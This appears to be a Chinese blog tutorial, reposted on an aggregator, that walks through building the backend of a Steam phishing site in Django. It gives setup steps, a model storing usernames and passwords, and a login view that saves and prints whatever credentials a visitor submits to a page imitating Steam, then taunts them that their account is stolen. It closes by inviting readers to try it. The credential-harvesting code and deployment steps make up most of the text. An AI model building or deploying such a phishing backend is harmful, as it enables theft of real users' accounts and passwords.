用Python Django搭建简单一个steam钓鱼网站
嗨嗨,我是小圓
有沒有人遇到過自己的號被盜了的情況
我就遇到過,朋友給我分享一個鏈接稀里糊涂的點進去了,在輸入密碼的時候一直顯示錯誤,沒多久自己的號就被盜了。
這些網站之所以能騙得過別人,就是因為做的基本和正版的官方網站,沒什么差別,可以說是一模一樣。
今天就來教大家搭建一個這樣的網站后端,簡單還原一下被盜號的過程
環境搭建
安裝Django模塊
pip install django[==版本]如:pip install django==3.0
安裝django的指定版本
創建Django項目
在命令指示符里數據命令
django-admin startproject steam_web
manage.py是命令文件,如果要運行Django內置的命令,必須要通過這個文件才行
創建子應用
把網站的各個模塊拆分成子應用
會生成一個login文件,打開文件
介紹下我們會用到的文件
models.py文件:數據模型
views.py文件:用來控制頁面邏輯
查看項目是否環境配置成功
可以用pycharm直接打開文件,然后點擊運行
運行后會給出一段域名,點擊打開
如果出現下面的頁面,就說明該項目環境配置成功了
開始實現功能
點擊進入settings.py文件,進行定制化修改
Application definition 網站子應用進行注冊,在最后一行寫入login
創建一個templates文件,并修改代碼
# templates 文件夾的配置項 TEMPLATES = [{'BACKEND': 'django.template.backends.django.DjangoTemplates','DIRS': [os.path.join(BASE_DIR, 'templates')],'APP_DIRS': True,'OPTIONS': {'context_processors': ['django.template.context_processors.debug','django.template.context_processors.request','django.contrib.auth.context_processors.auth','django.contrib.messages.context_processors.messages',],},}, ]配置網站默認語言、時間
# 網站默認語言 英文 修改成中文 LANGUAGE_CODE = 'zh-hans' # 當前時間 TIME_ZONE = 'Asia/Shanghai'USE_I18N = TrueUSE_L10N = TrueUSE_TZ = False最后在刷新網站頁面,就變成了中文
靜態頁面當中的文件夾配置,并在總目錄中創建一個static文件夾
導入所需文件
開始編寫數據模型
打開**models.py文件,需要去創建一個模型類
from django.db import models# Create your models here.class User(models.Model):name = models.CharField(max_length=20)pwd = models.CharField(max_length=20)編寫視圖
打開views.py文件,編寫視圖,是控制網站與用戶的交互邏輯
# 渲染html文件到瀏覽器的 from django.shortcuts import render from django.views.generic import View from .models import User from django.http import HttpResponse # Create your views here.# 在瀏覽器中顯示網站首頁 def index(request):return render(request, 'index.html')# 登錄類視圖 class Login(View):def get(self, request):return render(request, 'denlu.html', locals())'''當用戶在頁面中輸入了一些數據可以使用post去做接收'''def post(self, request):name = request.POST.get('username')pwd = request.POST.get('password')User.objects.create(name=name, pwd=pwd).save()print(name)print(pwd)return HttpResponse('你的賬號已經被盜, 溜了 溜了~')在urls.py文件里編寫路由
from django.contrib import admin from django.urls import path from login.views import index, Loginurlpatterns = [path('admin/', admin.site.urls),path('', index, name='index'),path('login/', Login.as_view(), name='login') ]同步數據庫
因為只是個教學,所以用是自帶的:sqlite3,文件型小型數據庫
點擊打開后,在這里輸入makemigrations,這是將數據模型中的字段編譯成一個Python的腳本,包含了sql語言
確定后會給你生成一個0001_initial.py文件
然后在執行腳本,輸入 migrate 將數據模型映射到數據庫中
運行文件,效果如下圖
選擇點擊登錄,輸入賬號密碼,點擊確定
然后你的賬號密碼會被打印出來
好了,分享到這里也就結束了,感興趣的朋友去試試吧,記得給我點贊哦
總結
以上是生活随笔為你收集整理的用Python Django搭建简单一个steam钓鱼网站的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 一款开源的文件搜索神器,终于不用记 fi
- 下一篇: ADSL拨号中出现的错误代码含义